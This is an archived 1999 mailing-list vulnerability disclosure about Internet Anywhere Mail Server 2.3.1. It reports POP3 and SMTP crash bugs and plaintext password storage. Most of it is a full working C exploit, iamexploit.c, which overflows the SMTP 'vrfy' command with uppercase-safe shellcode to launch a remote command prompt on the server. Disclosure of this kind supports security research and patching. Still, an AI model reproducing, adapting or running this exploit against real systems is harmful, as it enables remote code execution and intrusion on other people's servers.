Computer Security
[EN] securityvulns.ru
no-pyccku





Vulnerabilities in the Internet Anywhere Mail Server




Vulnerabilities in the Internet Anywhere Mail Server





=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

   Date: Пт, 01 окт 1999  20:51:55
  От: Arne Vidstrom <winnt@BAHNHOF.SE>
Кому: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Тема: Vulnerabilities in the Internet Anywhere Mail Server
--------------------------------------------------------------------------------


Hi all,

I've found a some vulnerabilities in Internet Anywhere Mail Server version
2.3.1, build 10020. They are probably present in earlier versions too:

1) If you send the POP3 server the commands "user", "retr", "list" or
"uidl" with arguments that are about 200 characters long, the server
crashes.

2) If you send the POP3 server the commands "list a", "top a a", or "uidl
a" (that is, letters where there should be numbers), the server crashes.

3) If you send the SMTP server the command "vrfy" with an argument that is
about 250 characters long, the server crashes.

4) Another problem is that the server stores the account passwords in
plaintext in the file msgboxes.dbf.

Points 1-3 are fixed in the brand new version 3.1 which is now available at
http://www.tnsoft.com/, but point 4 will not be fixed until a future
version - all this according to True North Software.

So, is it possible to get some code of our own to execute by exploiting the
buffer overflows? I've included the program iamexploit.c below that starts
the Command Prompt in one of my servers when I run it from another computer
(it probably won't do it on yours without modification, see below). The
program exploits the vrfy overflow. How easy would it be to modify it to
work against other systems? First of all it is dependent on the version of
msvcrt.dll, because of the entry adress to the system() function. This part
of the program could of course be changed. There is however another
complication in this case - the server converts the whole vrfy string to
uppercase after receiving it - and that includes converting the payload
machine code to uppercase too. ;) I've circumvented this by using assembly
instructions which don't generate machine code which contains "lowercase
character values". A bit tricky, especially since you can't have any null
characters in the code either, but it works. I wouldn't want to write any
complicated payload this way though. :) Now, there are a couple of more
problems here. First of all, the bytes we send to overwrite the return
address are also converted to uppercase. This time I was lucky, the ones I
use in my case are ok. The second problem is that the stack location
depends on more things than the SP version and so on. I haven't figured out
what yet, if you know all about this stuff and want to share your knowledge
- please send me a mail and explain it to me. :) So, here's the code, with
"dynamic" loading of the payload - you can modify the inline assembly
instructions and just recompile the program. Isn't that so high tech? ;)

Regards,

/Arne Vidstrom


//
// iamexploit.c - by Arne Vidstrom - http://www.bahnhof.se/~winnt/
//
// This exploit code starts the Command Prompt on a remote computer
// running Internet Anywhere Mail Server version 2.3.1, build 10020.
// However, it is very dependent on different DLL versions installed
// on the server computer. This code exploits a vrfy buffer overflow
// in the SMTP part of the mail server.
//

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <string.h>

#define sockaddr_in struct sockaddr_in
#define sockaddr struct sockaddr

// Server IP address
char ipaddr[25] = "xxx.xxx.xxx.xxx";
// Server port, the default is 25
unsigned short port = xxxxx;

// Payload machine code size and location
DWORD stop, start, size;
// The overflow string
unsigned char s[251];

// This function contains the payload assembly code and some extra
// code to support dynamic loading of the payload
BOOL createPayload(void)
{
       DWORD point1, point2;

       __asm {
               // First checkpoint for code location
               MOV  point1, $
               JMP  AFTER
               // Exploit payload starts here ->>
               // Set up a new stack frame, but there's no need to push EBP
               // since we'll never return from here
               MOV      EBP, ESP
               // Manipulate the null terminated string "cmd" into ESI
               // and push it onto the stack - we can't just move it into
               // memory with three MOV BYTE PTR's because the machine code
               // they generate will be destroyed when the mail server
               // convert the string to uppercase
               MOV  ESI, 0FF646d63h
               AND  ESI, 0F0FFFFFFh
               AND  ESI, 0FFFFFFFh
               PUSH ESI
               // Manipulate the system() function's entry address into ESI
               // the same way as we did with the "cmd" string and push it
               // onto the stack too - 7801C1A0h only works for version
               // 5.00.7128 of the DLL msvcrt.dll
               MOV  ESI, 7801C1A0h
               MOV  EBX, 20FFFFFFh
               AND  EBX, 0FF0F0F0Fh
               AND  EBX, 0FFF0F0F0h
               OR   ESI, EBX
               AND  ESI, 0FFFFDFFFh
               PUSH ESI
               // Load the address to the "cmd" string into EAX and push it
               // onto the stack for use by system() below
               LEA  EAX, [EBP-04h]
               PUSH EAX
               // Call system() which starts the Command Prompt
               CALL DWORD PTR [EBP-8h]
               // Infinite loop - the server won't crash when the Command
               // Prompt is closed, and it will also continue responding
               // to more clients, though CPU usage will be 100%
               LABEL1:
               JMP  LABEL1
               // <<- Exploit payload ends here
               // Second checkpoint for code location
               AFTER:
               MOV  point2, $
       }
       // Calculate payload size and location
       size = point2 - point1 - 12;
       start = point1 + 12;
       stop = point2;
       // Payload size vs. server buffer size overflow check
       if (size > 75)
               return FALSE;
       else
               return TRUE;
}

// Create the vrfy overflow string
void createOverflow(void)
{
       unsigned char payload[236];
       unsigned char fillout[236];
       unsigned char ret[5];
       unsigned int i;
       unsigned long temp;
       unsigned char *p;

       // Create a string containing the payload
       temp = start;
       for (i=0; i<size; i++) {
               p = (unsigned char*) temp;
               payload[i] = *p;
               temp++;
       }
       payload[i] = '\0';
       // Fill out with some 'a' until we hit the function return
       // address on the stack
       i = strlen(payload);
       while (i<235) {
               fillout[i-strlen(payload)] = 'a';
               i++;
       }
       fillout[i-strlen(payload)] = '\0';
       // Overwrite the return address to the location of the payload
       // inside the buffer
       ret[0] = 0x45;
       ret[1] = 0xF4;
       ret[2] = 0xF1;
       ret[3] = 0x01;
       ret[4] = 0x00;
       // Put together the whole vrfy overflow string
       strcpy(s, "vrfy xxxxx");
       strcat(s, payload);
       strcat(s, fillout);
       strcat(s, ret);
       strcat(s, "\r\n");
       printf("Created overflow string.\n");
}

// Connect to the server, say hi and then send the overflow string
void sendOverflow(void)
{
       SOCKET socket1;
       WSADATA winSockData;
       sockaddr_in peer;
       int flags;
       int result;
       char buffer[1024];

       // Allocate a socket, connect and stuff...
       WSAStartup(0x0101, &winSockData);
       socket1 = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
       peer.sin_family = AF_INET;
       peer.sin_port = htons(port);
       peer.sin_addr.s_addr = inet_addr(ipaddr);
       result = connect(socket1, (sockaddr *) &peer, sizeof(peer));
       if (result != 0) {
               printf("Couldn't connect to the server!\n");
               closesocket(socket1);
               WSACleanup();
       }
       else {
               // Wait for the server to give us the welcome message, this
               // is a bit simplified because we can't expect the whole
               // message in one recv, but it will do in this case
               flags = 0;
               result = recv(socket1, buffer, 1024, flags);
               // Say hi to the server
               flags = 0;
               result = send(socket1, "helo\r\n", strlen("helo\r\n"), flags);
               // Wait for the server to say ok, the same as above goes here
               flags = 0;
               result = recv(socket1, buffer, 1024, flags);
               // Send the overflow string to the server
               flags = 0;
               result = send(socket1, s, strlen(s), flags);
               if (result != SOCKET_ERROR)
                       printf("Overflow sent to the server.\n");
               // Wait a couple of seconds
               Sleep(2000);
               // Clean up
               closesocket(socket1);
               WSACleanup();
       }
}

// Guess what this is :o)
int main(void)
{
       DWORD temp;
       unsigned char *p;

       printf("\niamexploit.c - by Arne Vidstrom -
http://www.bahnhof.se/~winnt/\n\n");
       // Generate payload machine code and check size
       if (!createPayload()) {
               printf("ERROR: The payload machine code generated will not fit in the
buffer!\n");
               return 1;
       }
       else
               printf("%ld bytes of payload machine code generated.\n", size);
       // Check for null characters in the payload
       for (temp=start; temp<stop; temp++) {
               p = (unsigned char*) temp;
               if (*p == 0) {
                       printf("ERROR: The payload machine code generated contains the null
character!\n");
                       return 1;
               }
       }
       printf("Payload ok.\n");
       // Create the overflow string
       createOverflow();
       // Send the overflow string to the server
       sendOverflow();
       printf("Over and out!\n\n");
       return 0;
}


About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru